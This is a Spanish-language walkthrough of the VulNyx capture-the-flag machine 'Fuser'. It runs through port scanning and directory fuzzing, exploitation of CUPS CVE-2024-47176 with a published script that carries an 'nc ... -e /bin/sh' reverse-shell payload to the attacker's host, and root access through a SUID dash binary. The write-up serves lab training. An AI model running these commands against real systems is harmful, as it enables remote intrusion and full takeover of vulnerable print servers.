Fuser es una máquina Linux de dificultad baja de la plataforma VulNyx, creada por d4t4s3c y funciona correctamente en VirtualBox.
Skills:
- CUPS (CVE-2024-47176)
- Dash (SUID)
Nmap
❯ nmap -n -Pn -sS -p- --min-rate="5000" 192.168.1.59
Starting Nmap 7.94SVN ( nmap.org ) at 2024-11-02 08:33 CET
Nmap scan report for 192.168.1.59
Host is up (0.00015s latency).
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
631/tcp open ipp
❯ nmap -sVC -p22,80,631 192.168.1.59
Starting Nmap 7.94SVN ( nmap.org ) at 2024-11-02 08:34 CET
Nmap scan report for 192.168.1.59
Host is up (0.00084s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u2 (protocol 2.0)
| ssh-hostkey:
| 3072 f0:e6:24:fb:9e:b0:7a:1a:bd:f7:b1:85:23:7f:b1:6f (RSA)
| 256 99:c8:74:31:45:10:58:b0:ce:cc:63:b4:7a:82:57:3d (ECDSA)
|_ 256 60:da:3e:31:38:fa:b5:49:ab:48:c3:43:2c:9f:d1:32 (ED25519)
80/tcp open http Apache httpd 2.4.56 ((Debian))
|_http-server-header: Apache/2.4.56 (Debian)
|_http-title: Site doesnt have a title (text/html).
631/tcp open ipp CUPS 2.3
|_http-server-header: CUPS/2.3 IPP/2.1
|_http-title: Inicio - CUPS 2.3.3op2
| http-robots.txt: 1 disallowed entry
|_/
Port: 80 (HTTP)
Fuzzing
❯ gobuster dir -w /opt/directory-list-2.3-medium.txt -u http://192.168.1.59 -x html,txt,php
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.1.59
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /opt/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: html,txt,php
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.html (Status: 200) [Size: 187]
/.html (Status: 403) [Size: 277]
/.php (Status: 403) [Size: 277]
/server-status (Status: 403) [Size: 277]
Progress: 882184 / 882188 (100.00%)
===============================================================
Finished
===============================================================
Port: 631 (CUPS)
Recientemente se han descubierto 4 CVEs para CUPS
, hasta la fecha de hoy no han salido actualizaciones para mitigar la vulnerabilidad.
- CVE-2024-47176:
cups-browsed
- CVE-2024-47076:
libcupsfilters
- CVE-2024-47175:
libppd
- CVE-2024-47177:
cups-filters
Técnicamente la vulnerabilidad consiste en crear una nueva impresora con código malicioso, que posteriormente sera interpretado en el momento de hacer click en “Imprimir página de prueba”
Utilizamos el exploit de ippsec que te automatiza todo el proceso.
Lanzo el exploit y se puede observa que creo una nueva impresora
❯ nc -lvnp 443
❯ python3 evilcups.py 192.168.1.10 192.168.1.59 "nc 192.168.1.10 443 -e /bin/sh"
IPP Server Listening on ('192.168.1.10', 12345)
Sending udp packet to 192.168.1.59:631...
Please wait this normally takes 30 seconds...
0 elapsed
target connected, sending payload ...
31 elapsed
Hago click en la nueva impresora “HACKED_192_168_1_10
” y después en “Imprimir página de prueba
” para que interprete el código malicioso
Obtengo una shell como usuario lp
❯ nc -lvnp 443
listening on [any] 443 ...
connect to [192.168.1.10] from (UNKNOWN) [192.168.1.59] 48628
id ; hostname
uid=7(lp) gid=7(lp) grupos=7(lp)
fuser
Privilege Escalation
El usuario lp
dispone de permisos SUID/4755
sobre el binario ash
(Puede ejecutar el binario temporalmente en el contexto del propietario)
lp@fuser:/$ find / -perm -4000 2>/dev/null
/usr/bin/dash
/usr/bin/mount
/usr/bin/su
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/umount
/usr/bin/passwd
/usr/bin/newgrp
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/libexec/polkit-agent-helper-1
En GTFOBins nos dan el oneliner para obtener una shell
Me convierto en usuario root
abusando del privilegio
lp@fuser:/$ /usr/bin/dash -p
# bash -pi
bash-5.1# id ; hostname
uid=7(lp) gid=7(lp) euid=0(root) grupos=7(lp)
fuser
Ya como usuario root
puedo leer las flags user.txt
y root.txt
bash-5.1# find / -name user.txt -o -name root.txt |xargs cat
fe82ce45************************
523ac6c4************************
Hasta aquí la máquina Fuser.
Happy Hacking!